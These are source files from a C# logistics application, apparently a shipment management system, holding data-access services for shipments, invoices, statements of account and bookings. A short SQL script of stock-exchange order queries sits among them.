List<ViewPerformance> GetPerformancesCom(DateTime fromDate, DateTime toDate, long? comId = null);
}
public class PerformanceReportService : Services<Shipment>, IPerformanceReportService
{
public List<ViewPerformance> GetPerformancesCom(DateTime fromDate, DateTime toDate, long? comId = null)
{
var sqlstr = string.Format(@" cp.Id as UserId,cp.CompanyName as Name ,'' as Dept,sr.SaleType, cp.PValue, sr.Perform,sr.Bonus, sr.shipments
from(
select c.Id, c.CompanyName, x.PValue from Company c left join (
select p.OfficeId,SUM( p.PlanValue) as PValue from SalePlan p
where p.OfficeId is not null and p.PlanMonth between '{0}' and '{1}'
group by p.OfficeId) x on c.Id = x.OfficeId
) cp
left join (
select CompanyId, s.SaleType, COUNT(*) as shipments, sum(r.Earning) as Perform, SUM(r.AmountBonus2) as Bonus
from Shipment s left join Revenue r on s.Id= r.Id
where s.DateShp between '{0}' and '{1}'
group by CompanyId, s.SaleType
) sr on cp.Id= sr.CompanyId ",fromDate.ToString(), toDate.ToString());
// var plans = Context.ExecuteQuery()
return new List<ViewPerformance>();
}
}
}<file_sep>select * from HOGW_1F --lenh lenh mua/ban cung cong ty
select * from HOGW_2F --lenh lenh mua khac cty
select * from HOGW_1G --lenh ben ban khac cty
select * from HOGW_2L --lenh da khop
--select * from HOGW_3B --Lenh khong chap nhan
--select * from HOGW_3C --Lenh huy
--select * from HOGW_3D--Lenh khong chap nhan huy
--select * from [HOSE_DC]-- Lenh huy duoc HSX chap nhan
select * from [HOSE_PD]where CONFIRM_NUMBER=4 --VOLUME=100000 and PRICE=14 -- kiem tra chi tiet lenh khop
select * from HOSE_SU where SECURITY_SYMBOL='SHI'<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using SSM.Common;
using SSM.Models;
using SSM.Utils;
namespace SSM.Services
{
public interface ShipmentServices : IServices<Shipment>
{
#region Shipment
IEnumerable<Agent> GetAgentBySOA(SOAModel Model1);
ShipmentModel ConvertShipment(Shipment Shipment1);
Shipment GetShipmentById(long Id1);
ShipmentModel GetShipmentModelById(long Id1);
IEnumerable<Shipment> GetAllShipment(List<long> UserIds);
IEnumerable<Shipment> GetAllShipment(ShipmentModel SearchModel, List<long> UserIds);
IEnumerable<Shipment> GetAllShipment(ShipmentModel SearchModel, User User1, List<long> UserIds, long QuickView);
IQueryable<Shipment> GetQueryShipment(ShipmentModel SearchModel, User User1, List<long> UserIds, long QuickView);
IEnumerable<Shipment> GetAllShipment(int skip, int take, List<long> UserIds);
IEnumerable<Shipment> GetAllShipment(int skip, int take, ShipmentModel ShipmentModel1, List<long> UserIds);
bool InsertShipment(ShipmentModel ShipmentModel1);
bool UpdateShipment(ShipmentModel ShipmentModel1);
void UpdateShipment();
bool DeleteShipment(long Id1);
void UpdateMainShipmentStatus(long id);
IEnumerable<Area> getAllAreaByCountry(long CountryId);
RevenueModel getRevenueModelById(long id);
bool UpdateRevenue(RevenueModel RevenueModel1);
Revenue getRevenueById(long id);
bool UpdateAny();
IQueryable<Shipment> getAllUnIssuedInvoice(FindInvoice FindInvoice1);
int GetStepControlNumber(long id);
ResultCommand AddMemberToConsol(long id, Shipment menber);
ResultCommand RemoveMemberOfConsol(long id, Shipment menber);
#endregion
#region Invoice
bool insertArriveNotice(ArriveNotice Notice1);
ArriveNotice getArriveNotice(long Id);
ArriveNotice getLastArriveNotice();
AuthorLetter getLastAuthorLetter();
bool updateArriveNotice();
BookingNote getBookingNote(long Id);
BillLanding getBillLanding(long Id);
bool updateBookingNote();
bool updateBillLanding();
bool insertBillLanding(BillLanding Bill);
bool insertBookingNote(BookingNote Note);
bool deleteInvoiceByRev(long RevenueId);
bool insertInvoice(InvoideIssued Invoice1);
IQueryable<InvoideIssued> searchInvoice(FindInvoice FindInvoice1);
IEnumerable<InvoideIssued> getInvoiceByRev(long RevenueId);
bool deleteSOAInvoice(long RevenueId);
bool insertSOAInvoice(SOAInvoice SOAInvoice1);
IEnumerable<SOAInvoice> getSOAInvoice(SOAModel Model1);
IEnumerable<SOAInvoice> getSOAInvoice(long RevenueId);
IEnumerable<SOAModel> getAgentSOA(SOAModel Model1);
bool deleteSOAStatistic(long RevenueId);
bool insertSOAStatistic(SOAStatistic SOAStatistic1);
IEnumerable<SOAStatistic> getSOAStatistic(SOAModel Model1);
IEnumerable<SOAStatistic> getSOAStatistic(long RevenueId);
DebitNote getDebitNote(long Id);
bool insertDebitNote(DebitNote Debit);
BookingConfirm getBookingConfirm(long Id);
bool insertBookingConfirm(BookingConfirm Book1);
AuthorLetter getAuthorLetter(long Id);
bool insertAuthorLetter(AuthorLetter Letter1);
RequestPayment getRequestPayment(long Id);
bool insertRequestPayment(RequestPayment Payment);
BookingRequest getBookingRequest(long Id);
bool insertBookingRequest(BookingRequest Request);
Manifest getManifest(long Id);
bool insertManifest(Manifest Manifest1);
TransitmentAdvised getTransitmentAdvised(long Id);
bool insertTransitmentAdvised(TransitmentAdvised TransitmentAdvised1);
HAirWayBill getHAirWayBill(long Id);
bool insertHAirWayBill(HAirWayBill HAirWayBill1);
PaymentVoucher getPaymentVoucher(long Id);
bool insertPaymentVoucher(PaymentVoucher PaymentVoucher1);
Shipment GetShipmentByOrder(long idOrder);
List<Shipment> GetListMemberOfConsol(long id);
#endregion
bool ChangeSoaPayment(List<long> ids, bool isPayment);
void UpdateRevenueOfControl(long id);
}
public class ShipmentServicesImpl : Services<Shipment>, ShipmentServices
{
private DataClasses1DataContext db;
private List<Country> _countries;
public ShipmentServicesImpl()
{
db = new DataClasses1DataContext();
}
#region AuthorLetter
public AuthorLetter getAuthorLetter(long Id)
{
try
{
return db.AuthorLetters.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertAuthorLetter(AuthorLetter Letter1)
{
try
{
db.AuthorLetters.InsertOnSubmit(Letter1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
#endregion
#region RequestPayment
public RequestPayment getRequestPayment(long Id)
{
try
{
return db.RequestPayments.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertRequestPayment(RequestPayment Payment)
{
try
{
db.RequestPayments.InsertOnSubmit(Payment);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
#endregion
#region BookingRequest
public BookingRequest getBookingRequest(long Id)
{
try
{
return db.BookingRequests.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertBookingRequest(BookingRequest Request)
{
try
{
db.BookingRequests.InsertOnSubmit(Request);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
#endregion
#region Manifest
public Manifest getManifest(long Id)
{
try
{
return db.Manifests.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertManifest(Manifest Manifest1)
{
try
{
db.Manifests.InsertOnSubmit(Manifest1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public TransitmentAdvised getTransitmentAdvised(long Id)
{
try
{
return db.TransitmentAdviseds.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertTransitmentAdvised(TransitmentAdvised TransitmentAdvised1)
{
try
{
db.TransitmentAdviseds.InsertOnSubmit(TransitmentAdvised1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public HAirWayBill getHAirWayBill(long Id)
{
try
{
return db.HAirWayBills.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertHAirWayBill(HAirWayBill HAirWayBill1)
{
try
{
db.HAirWayBills.InsertOnSubmit(HAirWayBill1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public PaymentVoucher getPaymentVoucher(long Id)
{
try
{
return db.PaymentVouchers.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertPaymentVoucher(PaymentVoucher PaymentVoucher1)
{
try
{
db.PaymentVouchers.InsertOnSubmit(PaymentVoucher1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
#endregion
#region Booking
public BookingConfirm getBookingConfirm(long Id)
{
try
{
return db.BookingConfirms.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertBookingConfirm(BookingConfirm Book1)
{
try
{
db.BookingConfirms.InsertOnSubmit(Book1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public DebitNote getDebitNote(long Id)
{
try
{
return db.DebitNotes.FirstOrDefault(d => d.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool insertDebitNote(DebitNote Debit)
{
try
{
db.DebitNotes.InsertOnSubmit(Debit);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool deleteSOAStatistic(long RevenueId)
{
try
{
IEnumerable<SOAStatistic> SOAList = getSOAStatistic(RevenueId);
db.SOAStatistics.DeleteAllOnSubmit(SOAList);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool insertSOAStatistic(SOAStatistic SOAStatistic1)
{
try
{
db.SOAStatistics.InsertOnSubmit(SOAStatistic1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public IEnumerable<SOAStatistic> getSOAStatistic(SOAModel Model1)
{
try
{
return (from Invoice1 in db.SOAStatistics
where (Model1.AgentId == 0 || (Invoice1.AgentId == Model1.AgentId))
//&& (Model1.DateFrom == "" || (Invoice1.DateUpdate >= DateUtils.Convert2DateTime(Model1.DateFrom)))
//&& (Model1.DateTo == "" || (Invoice1.DateUpdate <= DateUtils.Convert2DateTime(Model1.DateTo)))
&& (Model1.DateFrom == "" || (Invoice1.DateShp >= DateUtils.Convert2DateTime(Model1.DateFrom)))
&& (Model1.DateTo == "" || (Invoice1.DateShp <= DateUtils.Convert2DateTime(Model1.DateTo)))
select Invoice1);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public IEnumerable<SOAStatistic> getSOAStatistic(long RevenueId)
{
try
{
return (from Invoice1 in db.SOAStatistics
where Invoice1.ShipmentId == RevenueId
select Invoice1);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public IEnumerable<Agent> GetAgentBySOA(SOAModel Model1)
{
Nullable<DateTime> From = StringUtils.isNullOrEmpty(Model1.DateFrom) ? null : (Nullable<DateTime>)DateUtils.Convert2DateTime(Model1.DateFrom);
Nullable<DateTime> To = StringUtils.isNullOrEmpty(Model1.DateTo) ? null : (Nullable<DateTime>)DateUtils.Convert2DateTime(Model1.DateTo);
try
{
IEnumerable<long> listAgentIds = (from Invoice1 in db.SOAStatistics
// where (From == null || Invoice1.DateUpdate >= From)
// && (To == null || Invoice1.DateUpdate <= To)
where (From == null || Invoice1.DateShp >= From)
&& (To == null || Invoice1.DateShp <= To)
select Invoice1.AgentId).Distinct();
return from Agent1 in db.Agents
where listAgentIds.Contains(Agent1.Id)
select Agent1;
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public IEnumerable<SOAModel> getAgentSOA(SOAModel Model1)
{
DateTime? From = StringUtils.isNullOrEmpty(Model1.DateFrom) ? null : (DateTime?)DateUtils.Convert2DateTime(Model1.DateFrom);
DateTime? To = StringUtils.isNullOrEmpty(Model1.DateTo) ? null : (DateTime?)DateUtils.Convert2DateTime(Model1.DateTo);
try
{
return (from Invoice1 in db.SOAStatistics
where Invoice1.AgentId == Model1.AgentId
//&& (From == null || Invoice1.DateUpdate >= From)
//&& (To == null || Invoice1.DateUpdate <= To)
&& (From == null || Invoice1.DateShp >= From)
&& (To == null || Invoice1.DateShp <= To)
//&& (Invoice1.IsPayment == Model1.IsPayment)
group Invoice1 by new { Invoice1.Currency, Invoice1.TypeNote }
into _group
select new SOAModel(_group.Key.Currency, _group.Key.TypeNote, Convert.ToDouble(_group.Sum(i => i.Amount))
));
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool deleteSOAInvoice(long RevenueId)
{
try
{
IEnumerable<SOAInvoice> SOAList = getSOAInvoice(RevenueId);
db.SOAInvoices.DeleteAllOnSubmit(SOAList);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool insertSOAInvoice(SOAInvoice SOAInvoice1)
{
try
{
db.SOAInvoices.InsertOnSubmit(SOAInvoice1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public IEnumerable<SOAInvoice> getSOAInvoice(long RevenueId)
{
try
{
return (from Invoice1 in db.SOAInvoices
where Invoice1.RevenueId == RevenueId
select Invoice1);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public IEnumerable<SOAInvoice> getSOAInvoice(SOAModel Model1)
{
try
{
return (from Invoice1 in db.SOAInvoices
where (Model1.AgentId == 0 || (Invoice1.AgentId == Model1.AgentId))
&& (Model1.DateFrom == "" || (Invoice1.DateShp.Value >= DateUtils.Convert2DateTime(Model1.DateFrom)))
&& (Model1.DateTo == "" || (Invoice1.DateShp.Value <= DateUtils.Convert2DateTime(Model1.DateTo)))
&& (!Model1.IsPayment || Invoice1.IsPayment == false)
select Invoice1);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public IEnumerable<InvoideIssued> getInvoiceByRev(long RevenueId)
{
try
{
return (from Invoice1 in db.InvoideIssueds
where Invoice1.Revenue.Id == RevenueId
select Invoice1);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool deleteInvoiceByRev(long RevenueId)
{
try
{
IEnumerable<InvoideIssued> Invoices = getInvoiceByRev(RevenueId);
db.InvoideIssueds.DeleteAllOnSubmit(Invoices);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool insertInvoice(InvoideIssued Invoice1)
{
try
{
db.InvoideIssueds.InsertOnSubmit(Invoice1);
return true;
}
catch (Exception e) { Logger.LogError(e); }
return false;
}
public IQueryable<InvoideIssued> searchInvoice(FindInvoice findInvoice)
{
var results = db.InvoideIssueds.Where(iv =>
(string.IsNullOrEmpty(findInvoice.InvoiceNo) || (iv.InvoiceNo != null && iv.InvoiceNo.Contains(findInvoice.InvoiceNo)))
&& (findInvoice.ShipmentId == 0 || findInvoice.ShipmentId == iv.ShipmentId)
);
if (findInvoice.ShipmentPriod == 1)
{
results = results.Where(iv => (string.IsNullOrEmpty(findInvoice.DateFrom) ||
iv.Shipment.DateShp >= DateUtils.Convert2DateTime(findInvoice.DateFrom))
&&
(string.IsNullOrEmpty(findInvoice.DateTo) ||
iv.Shipment.DateShp <= DateUtils.Convert2DateTime(findInvoice.DateTo)));
}
else
{
results = results.Where(iv => (string.IsNullOrEmpty(findInvoice.DateFrom) ||
iv.Date >= DateUtils.Convert2DateTime(findInvoice.DateFrom))
&&
(string.IsNullOrEmpty(findInvoice.DateTo) ||
iv.Date <= DateUtils.Convert2DateTime(findInvoice.DateTo)));
}
var list = results.OrderByDescending(i => i.Date);
return list;
//try
//{
// if (FindInvoice1.ShipmentPriod == 1)
// {
// results = from Invoice1 in db.InvoideIssueds
// where (Invoice1.InvoiceNo != null && Invoice1.InvoiceNo.Contains(invoiceNo))
// select Invoice1;
// if (!FindInvoice1.DateFrom.Trim().Equals(""))
// {
// results = results.Where(s => s.Shipment.DateShp >= DateUtils.Convert2DateTime(FindInvoice1.DateFrom));
// }
// if (!FindInvoice1.DateTo.Trim().Equals(""))
// {
// results = results.Where(s => s.Shipment.DateShp <= DateUtils.Convert2DateTime(FindInvoice1.DateTo));
// }
// }
// else
// {
// results = from Invoice1 in db.InvoideIssueds
// where (Invoice1.InvoiceNo != null && Invoice1.InvoiceNo.Contains(invoiceNo))
// select Invoice1;
// if (!FindInvoice1.DateFrom.Trim().Equals(""))
// {
// results = results.Where(s => s.Date >= DateUtils.Convert2DateTime(FindInvoice1.DateFrom));
// }
// if (!FindInvoice1.DateTo.Trim().Equals(""))
// {
// results = results.Where(s => s.Date <= DateUtils.Convert2DateTime(FindInvoice1.DateTo));
// }
// }
// return results.OrderByDescending(x => x.Date);
//}
//catch (Exception e)
//{
// Logger.LogError(e);
//}
//return null;
}
public BookingNote getBookingNote(long Id)
{
try
{
return db.BookingNotes.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public BillLanding getBillLanding(long Id)
{
try
{
return db.BillLandings.FirstOrDefault(b => b.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool updateBookingNote()
{
try
{
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool updateBillLanding()
{
try
{
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool insertBillLanding(BillLanding Bill)
{
try
{
db.BillLandings.InsertOnSubmit(Bill);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool insertBookingNote(BookingNote Note)
{
try
{
db.BookingNotes.InsertOnSubmit(Note);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public ArriveNotice getArriveNotice(long Id)
{
try
{
return db.ArriveNotices.FirstOrDefault(a => a.Id == Id);
}
catch (Exception e) { Logger.LogError(e); }
return null;
}
public ArriveNotice getLastArriveNotice()
{
try
{
return db.ArriveNotices.OrderByDescending(m => m.Id).First();
}
catch (Exception e) { Logger.LogError(e); }
return new ArriveNotice();
}
public AuthorLetter getLastAuthorLetter()
{
try
{
return db.AuthorLetters.OrderByDescending(m => m.Id).First();
}
catch (Exception e) { Logger.LogError(e); }
return new AuthorLetter();
}
public bool updateArriveNotice()
{
try
{
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public int GetStepControlNumber(long id)
{
var data = db.Shipments.Where(x => x.IsControl && x.ShipmentRef == id).OrderByDescending(x => x.ControlStep).FirstOrDefault();
if (data != null)
{
return data.ControlStep ?? 0 + 1;
}
return 0;
}
public ResultCommand AddMemberToConsol(long id, Shipment menber)
{
var consol = GetShipmentById(id);
if (consol == null)
{
return new ResultCommand()
{
IsFinished = false,
Message = "Consol not found with ref " + id
};
}
try
{
menber.IsControl = true;
menber.ShipmentRef = consol.Id;
UpdateShipment();
UpdateSubByMainShipment(consol);
UpdateRevenueOfControl(consol.Id);
UpdateMainShipmentStatus(consol.Id);
UpdateShipment();
var message = string.Format("Add ref {0} to consol {1} successfully!!", menber.Id, consol.Id);
Logger.Log(message);
return new ResultCommand()
{
Message = message,
IsFinished = true
};
}
catch (Exception ex)
{
Logger.LogError(ex);
return new ResultCommand()
{
IsFinished = false,
Message = string.Format("Add ref {0} to consol {1} failure. Error: {2}", menber.Id, consol.Id, ex.Message)
};
}
}
public ResultCommand RemoveMemberOfConsol(long id, Shipment menber)
{
var consol = GetShipmentById(id);
if (consol == null)
{
return new ResultCommand()
{
IsFinished = false,
Message = "Consol not found with ref " + id
};
}
try
{
menber.IsControl = false;
menber.ShipmentRef = null;
UpdateShipment();
UpdateSubByMainShipment(consol);
UpdateRevenueOfControl(consol.Id);
UpdateMainShipmentStatus(consol.Id);
UpdateShipment();
var message = string.Format("Remove ref {0} from consol {1} successfully!!", menber.Id, consol.Id);
Logger.Log(message);
return new ResultCommand()
{
Message = message,
IsFinished = true
};
}
catch (Exception ex)
{
Logger.LogError(ex);
return new ResultCommand()
{
IsFinished = false,
Message = string.Format("remove ref {0} from consol {1} failure. Error: {2}", menber.Id, consol.Id, ex.Message)
};
}
}
public bool insertArriveNotice(ArriveNotice Notice1)
{
try
{
db.ArriveNotices.InsertOnSubmit(Notice1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool UpdateAny()
{
try
{
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public bool UpdateRevenue(RevenueModel RevenueModel1)
{
try
{
Revenue Revenue1 = getRevenueById(RevenueModel1.Id);
var shipment = GetShipmentById(RevenueModel1.Id);
if (Revenue1 != null)
{
RevenueModel.ConvertModel(RevenueModel1, Revenue1);
}
else
{
Revenue1 = new Revenue();
RevenueModel.ConvertModel(RevenueModel1, Revenue1);
db.Revenues.InsertOnSubmit(Revenue1);
db.SubmitChanges();
Revenue1 = getRevenueById(RevenueModel1.Id);
}
if (shipment.IsMainShipment == true)
{
Revenue1.IsControl = true;
}
if (Revenue1.Shipment.ShipmentRef != null)
{
UpdateRevenueOfControl(Revenue1.Shipment.ShipmentRef.Value);
}
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public RevenueModel getRevenueModelById(long id)
{
RevenueModel RevenueModel1 = null;
Revenue Revenue1 = null;
try
{
Revenue1 = db.Revenues.FirstOrDefault(rv => rv.Id == id);
}
catch (Exception e)
{
Revenue1 = null;
}
if (Revenue1 != null)
{
RevenueModel1 = RevenueModel.ConvertModel(Revenue1);
}
return RevenueModel1;
}
public Revenue getRevenueById(long id)
{
Revenue Revenue1 = null;
try
{
Revenue1 = db.Revenues.FirstOrDefault(rv => rv.Id == id);
}
catch (Exception e)
{
Revenue1 = null;
}
return Revenue1;
}
#endregion
#region Shipment
public IQueryable<Shipment> getAllUnIssuedInvoice(FindInvoice FindInvoice1)
{
var list = db.Shipments.Where(s => s.IsInvoiced == false
&& ShipmentModel.RevenueStatusCollec.Submited.ToString().Equals(s.RevenueStatus)
&& s.Revenue.InvoiceCustom > 0
&& (FindInvoice1.ShipmentId == 0 || FindInvoice1.ShipmentId == s.Id)
&& (string.IsNullOrEmpty(FindInvoice1.DateFrom) || s.DateShp.Value >= DateUtils.Convert2DateTime(FindInvoice1.DateFrom))
&& (string.IsNullOrEmpty(FindInvoice1.DateTo) || s.DateShp.Value <= DateUtils.Convert2DateTime(FindInvoice1.DateTo))
).OrderByDescending(s => s.DateShp);
return list;
}
public Shipment GetShipmentByOrder(long idOrder)
{
return db.Shipments.FirstOrDefault(b => b.VoucherId == idOrder);
}
public List<Shipment> GetListMemberOfConsol(long id)
{
var list = GetQuery(x => !x.IsMainShipment && x.ShipmentRef == id).ToList();
return list;
}
public bool ChangeSoaPayment(List<long> ids, bool isPayment)
{
if (ids.Count <= 0) return true;
foreach (var soa in ids.Select(id => db.SOAInvoices.FirstOrDefault(x => x.Id == id)).Where(soa => soa != null))
{
soa.IsPayment = isPayment;
}
db.SubmitChanges();
return true;
}
#region comvert and mapping model
public ShipmentModel ConvertShipment(Shipment Shipment1)
{
ShipmentModel ShipmentModel1 = new ShipmentModel();
ShipmentModel1.Id = Shipment1.Id;
ShipmentModel1.DepartmentId = Shipment1.DeptId;
ShipmentModel1.AgentId = Shipment1.AgentId != null ? Shipment1.AgentId.Value : 0;
ShipmentModel1.AgentName = Shipment1.Agent != null ? Shipment1.Agent.AgentName : "";
ShipmentModel1.CneeId = Shipment1.CneeId != null ? Shipment1.CneeId.Value : 0;
ShipmentModel1.CneeName = Shipment1.Customer != null ? Shipment1.Customer.CompanyName : "";
ShipmentModel1.CneeFullName = Shipment1.Customer != null ? Shipment1.Customer.FullName : "";
ShipmentModel1.Dateshp = Shipment1.DateShp != null ? Shipment1.DateShp.Value.ToString("dd/MM/yyyy") : "";
ShipmentModel1.CreateDate = Shipment1.CreateDate != null ? Shipment1.CreateDate.Value.ToString("dd/MM/yyyy") : "";
ShipmentModel1.UpdateDate = Shipment1.UpdateDate != null ? Shipment1.UpdateDate.Value.ToString("dd/MM/yyyy") : "";
ShipmentModel1.LockDate = Shipment1.LockDate != null ? Shipment1.LockDate.Value.ToString("dd/MM/yyyy") : "";
ShipmentModel1.LockShipment = Shipment1.IsLock != null && Shipment1.IsLock.Value;
ShipmentModel1.Description = Shipment1.Description;
ShipmentModel1.QtyName = Shipment1.QtyName;
ShipmentModel1.QtyNumber = Shipment1.QtyNumber;
ShipmentModel1.QtyUnit = Shipment1.QtyUnit;
ShipmentModel1.RevenueStatus = Shipment1.RevenueStatus;
ShipmentModel1.SaleId = Shipment1.SaleId != null ? Shipment1.SaleId.Value : 0;
ShipmentModel1.SaleName = Shipment1.User != null ? Shipment1.User.FullName : "";
ShipmentModel1.SaleType = Shipment1.SaleType;
ShipmentModel1.ServiceName = Shipment1.ServiceName;
ShipmentModel1.ShipperId = Shipment1.ShipperId != null ? Shipment1.ShipperId.Value : 0;
ShipmentModel1.ShipperName = Shipment1.Customer1 != null ? Shipment1.Customer1.FullName : "";
ShipmentModel1.CompanyId = Shipment1.CompanyId != null ? Shipment1.CompanyId.Value : 0;
ShipmentModel1.CompanyName = Shipment1.Company != null ? Shipment1.Company.CompanyName : "";
ShipmentModel1.DepartureId = Shipment1.DepartureId != null ? Shipment1.DepartureId.Value : 0;
ShipmentModel1.DepartureName = Shipment1.Area != null ? Shipment1.Area.AreaAddress : "";
ShipmentModel1.DestinationId = Shipment1.DestinationId != null ? Shipment1.DestinationId.Value : 0;
ShipmentModel1.DestinationName = Shipment1.Area1 != null ? Shipment1.Area1.AreaAddress : "";
ShipmentModel1.HouseNum = Shipment1.HouseNum;
ShipmentModel1.MasterNum = Shipment1.MasterNum;
ShipmentModel1.SFreights = Shipment1.SFreights;
ShipmentModel1.CarrierAirId = Shipment1.CarrierAirId != null ? Shipment1.CarrierAirId.Value : 0;
ShipmentModel1.CarrierAirName = Shipment1.CarrierAirLine != null ? Shipment1.CarrierAirLine.CarrierAirLineName : "";
ShipmentModel1.isDelivered = Shipment1.isDelivered;
ShipmentModel1.DeliveredDate = Shipment1.DeliveredDate != null ? Shipment1.DeliveredDate.Value.ToString("dd/MM/yyyy") : "";
ShipmentModel1.HouseNumCheck = string.IsNullOrEmpty(Shipment1.HouseNum) ||
Shipment1.HouseNum.ToUpper().Equals("CHUA BILL");
ShipmentModel1.MasterNumCheck = string.IsNullOrEmpty(Shipment1.MasterNum) ||
Shipment1.MasterNum.ToUpper().Equals("CHUA BILL");
ShipmentModel1.ServiceId = Shipment1.ServiceId;
ShipmentModel1.TypeServices = Shipment1.ServicesType;
//Get Order
if (Shipment1.VoucherId != null)
{
ShipmentModel1.Order = Shipment1.MT81;
ShipmentModel1.VoucherId = Shipment1.VoucherId ?? 0;
ShipmentModel1.IsTrading = true;
}
else
{
ShipmentModel1.IsTrading = false;
}
// Main controll
ShipmentModel1.UserListInControl = new List<long>();
ShipmentModel1.IsMainControl = Shipment1.IsMainShipment;
ShipmentModel1.ShipmentRef = Shipment1.ShipmentRef;
ShipmentModel1.IsControl = Shipment1.IsControl;
ShipmentModel1.ControlStep = Shipment1.ControlStep;
if (ShipmentModel1.IsMainControl)
{
ShipmentModel1.UserListInControlDb = Shipment1.UserListInControl;
if (!string.IsNullOrEmpty(Shipment1.UserListInControl))
ShipmentModel1.UserListInControl = Shipment1.UserListInControl.Split(';').Select(s => long.Parse(s)).ToList();
else
ShipmentModel1.UserListInControl = new List<long>();
}
return ShipmentModel1;
}
private Shipment ConvertShipment(ShipmentModel ShipmentModel1)
{
Shipment Shipment1 = new Shipment();
Shipment1.DeptId = ShipmentModel1.DepartmentId;
Shipment1.AgentId = ShipmentModel1.AgentId;
Shipment1.CneeId = ShipmentModel1.CneeId;
Shipment1.DateShp = DateUtils.Convert2DateTime(ShipmentModel1.Dateshp);
Shipment1.Description = ShipmentModel1.Description;
Shipment1.QtyName = ShipmentModel1.QtyName;
Shipment1.QtyNumber = ShipmentModel1.QtyNumber;
Shipment1.QtyUnit = ShipmentModel1.QtyUnit;
Shipment1.SaleId = ShipmentModel1.SaleId;
Shipment1.SaleType = ShipmentModel1.SaleType;
Shipment1.ShipperId = ShipmentModel1.ShipperId;
Shipment1.CompanyId = ShipmentModel1.CompanyId;
Shipment1.DepartureId = ShipmentModel1.DepartureId;
Shipment1.DestinationId = ShipmentModel1.DestinationId;
Shipment1.HouseNum = ShipmentModel1.HouseNum;
Shipment1.MasterNum = ShipmentModel1.MasterNum;
Shipment1.SFreights = ShipmentModel1.SFreights;
Shipment1.CarrierAirId = ShipmentModel1.CarrierAirId;
Shipment1.isDelivered = ShipmentModel1.isDelivered;
Shipment1.RevenueStatus = ShipmentModel1.RevenueStatus;
Shipment1.DeliveredDate = DateUtils.Convert2DateTime(ShipmentModel1.DeliveredDate);
Shipment1.ServiceId = ShipmentModel1.ServiceId;
var servicesType = db.ServicesTypes.FirstOrDefault(x => x.Id == Shipment1.ServiceId);
if (servicesType != null)
{
var serivceName = servicesType.SerivceName;
if (serivceName != null)
Shipment1.ServiceName = serivceName;
}
//Add shippment for order
Shipment1.VoucherId = ShipmentModel1.VoucherId;
Shipment1.IsTrading = ShipmentModel1.IsTrading;
// Main shipment control
Shipment1.IsMainShipment = ShipmentModel1.IsMainControl;
if (ShipmentModel1.IsMainControl && ShipmentModel1.UserListInControl.Any())
{
Shipment1.UserListInControl = string.Join(";", ShipmentModel1.UserListInControl);
}
Shipment1.ShipmentRef = ShipmentModel1.ShipmentRef;
Shipment1.IsControl = ShipmentModel1.IsControl;
Shipment1.ControlStep = ShipmentModel1.ControlStep;
return Shipment1;
}
private void ConvertShipment(ShipmentModel ShipmentModel1, Shipment Shipment1)
{
Shipment1.DeptId = ShipmentModel1.DepartmentId;
Shipment1.AgentId = ShipmentModel1.AgentId;
